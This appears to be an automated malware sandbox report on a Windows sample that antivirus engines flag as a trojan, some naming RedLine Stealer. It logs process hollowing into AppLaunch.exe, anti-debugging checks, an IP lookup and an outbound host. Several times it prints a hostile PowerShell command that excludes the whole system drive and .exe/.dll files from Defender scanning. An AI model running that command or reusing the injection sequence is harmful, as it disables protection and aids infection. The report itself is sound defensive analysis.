NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02222000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02235000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x67aa1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0222c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02850000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0223c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02223000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02224000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02225000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02226000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02227000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02228000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02229000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2316 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Looks up the external IP address (1 event)

domain

ip-api.com

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW June 22, 2023, 11:08 a.m.	show_type: 0 filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe parameters: Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00124400', u'virtual_address': u'0x00057000', u'entropy': 7.402492863741139, u'name': u'.Lica2', u'virtual_size': u'0x00124221'}

entropy

7.40249286374

description

A section with a high entropy has been found

entropy

0.771362586605

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW June 22, 2023, 11:08 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 22, 2023, 11:08 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW June 22, 2023, 11:12 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (9 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 5b28aaba5be420f829071a00cdbbb2756f87f539

Communicates with host for which no DNS query was performed (1 event)

host

185.159.129.168

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000094	1	0	0

Manipulates memory of a non-child process indicative of process injection (8 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 444 manipulating memory of non-child process 2176
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000094	1	0	0
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 2 (PAGE_READONLY) base_address: 0x00400000 process_handle: 0x00000094	1	0	0
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 925696 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00401000 process_handle: 0x00000094	1	0	0
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 233472 protection: 2 (PAGE_READONLY) base_address: 0x004e3000 process_handle: 0x00000094	1	0	0
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 4 (PAGE_READWRITE) base_address: 0x0051c000 process_handle: 0x00000094	1	0	0
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 2 (PAGE_READONLY) base_address: 0x00521000 process_handle: 0x00000094	1	0	0
NtProtectVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 2 (PAGE_READONLY) base_address: 0x00522000 process_handle: 0x00000094	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 444 injected into non-child 2176
WriteProcessMemory June 22, 2023, 11:08 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2176 process_handle: 0x00000094	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 444 called NtSetContextThread to modify thread in remote process 2176
NtSetContextThread June 22, 2023, 11:08 a.m.	registers.eip: 2005598660 registers.esp: 3275392 registers.edi: 0 registers.eax: 4732019 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000090 process_identifier: 2176	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
parent_process	powershell.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 444 resumed a thread in remote process 2176
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000090 suspend_count: 1 process_identifier: 2176	1	0	0

Executed a process and injected code into it, probably while unpacking (21 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW June 22, 2023, 11:08 a.m.	thread_identifier: 2180 thread_handle: 0x00000090 process_identifier: 2176 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000094	1	1
NtGetContextThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000090	1	0
NtAllocateVirtualMemory June 22, 2023, 11:08 a.m.	process_identifier: 2176 region_size: 1208320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000094	1	0
WriteProcessMemory June 22, 2023, 11:08 a.m.	buffer: base_address: 0x00400000 process_identifier: 2176 process_handle: 0x00000094	1	1
WriteProcessMemory June 22, 2023, 11:08 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2176 process_handle: 0x00000094	1	1
NtSetContextThread June 22, 2023, 11:08 a.m.	registers.eip: 2005598660 registers.esp: 3275392 registers.edi: 0 registers.eax: 4732019 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000090 process_identifier: 2176	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000090 suspend_count: 1 process_identifier: 2176	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x000002d4 suspend_count: 1 process_identifier: 2316	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000328 suspend_count: 1 process_identifier: 2316	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000474 suspend_count: 1 process_identifier: 2316	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000488 suspend_count: 1 process_identifier: 2316	1	0
CreateProcessInternalW June 22, 2023, 11:08 a.m.	thread_identifier: 2456 thread_handle: 0x00000504 process_identifier: 2452 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004fc	1	1
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x0000052c suspend_count: 1 process_identifier: 2316	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x000002c8 suspend_count: 1 process_identifier: 2452	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x0000031c suspend_count: 1 process_identifier: 2452	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x00000468 suspend_count: 1 process_identifier: 2452	1	0
NtResumeThread June 22, 2023, 11:08 a.m.	thread_handle: 0x000004c8 suspend_count: 1 process_identifier: 2452	1	0
NtResumeThread June 22, 2023, 11:12 a.m.	thread_handle: 0x000002c0 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread June 22, 2023, 11:12 a.m.	thread_handle: 0x00000314 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread June 22, 2023, 11:12 a.m.	thread_handle: 0x00000464 suspend_count: 1 process_identifier: 2128	1	0
NtResumeThread June 22, 2023, 11:12 a.m.	thread_handle: 0x000004c4 suspend_count: 1 process_identifier: 2128	1	0

File has been identified by 51 AntiVirus engines on VirusTotal as malicious (50 out of 51 events)

Bkav	W32.AIDetectMalware
Lionic	Trojan.Win32.Convagent.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Trojan.Heur.FvY@IT@h!Re
CAT-QuickHeal	Trojan.Strab
McAfee	Artemis!F09C7CD38FBC
Malwarebytes	Spyware.RedLineStealer
VIPRE	Gen:Trojan.Heur.FvY@IT@h!Re
Sangfor	Suspicious.Win32.Save.a
K7AntiVirus	Riskware ( 00584baa1 )
K7GW	Riskware ( 00584baa1 )
Cybereason	malicious.38fbc8
Arcabit	Trojan.Heur.EC5DFD
Cyren	W32/ABTrojan.MERI-7444
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Kryptik.HTVS
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan.Win32.Strab.gen
BitDefender	Gen:Trojan.Heur.FvY@IT@h!Re
Avast	Win32:PWSX-gen [Trj]
Tencent	Malware.Win32.Gencirc.11ac0402
Sophos	Mal/Generic-S
F-Secure	Trojan.TR/AD.Nekark.tefgk
McAfee-GW-Edition	Artemis!Trojan
Trapmine	suspicious.low.ml.score
FireEye	Generic.mg.f09c7cd38fbc8b59
Emsisoft	Gen:Trojan.Heur.FvY@IT@h!Re (B)
Ikarus	Trojan.Win32.Krypt
Webroot	W32.Malware.Gen
Avira	TR/AD.Nekark.tefgk
Antiy-AVL	Trojan/Win32.Kryptik
Gridinsoft	Ransom.Win32.Wacatac.ns
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	HEUR:Trojan.Win32.Strab.gen
GData	Gen:Trojan.Heur.FvY@IT@h!Re
Google	Detected
ALYac	Gen:Trojan.Heur.FvY@IT@h!Re
MAX	malware (ai score=82)
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002H09FH23
Rising	Stealer.Agent!8.C2 (TFE:1:kCmbYub4GbM)
Yandex	Trojan.GenKryptik!/gOx3LMDzd8
SentinelOne	Static AI - Suspicious PE
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	W32/GenKryptik.GKWD!tr
BitDefenderTheta	AI:Packer.59DCAB4E1B
AVG	Win32:PWSX-gen [Trj]
DeepInstinct	MALICIOUS

n0cjd0kc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All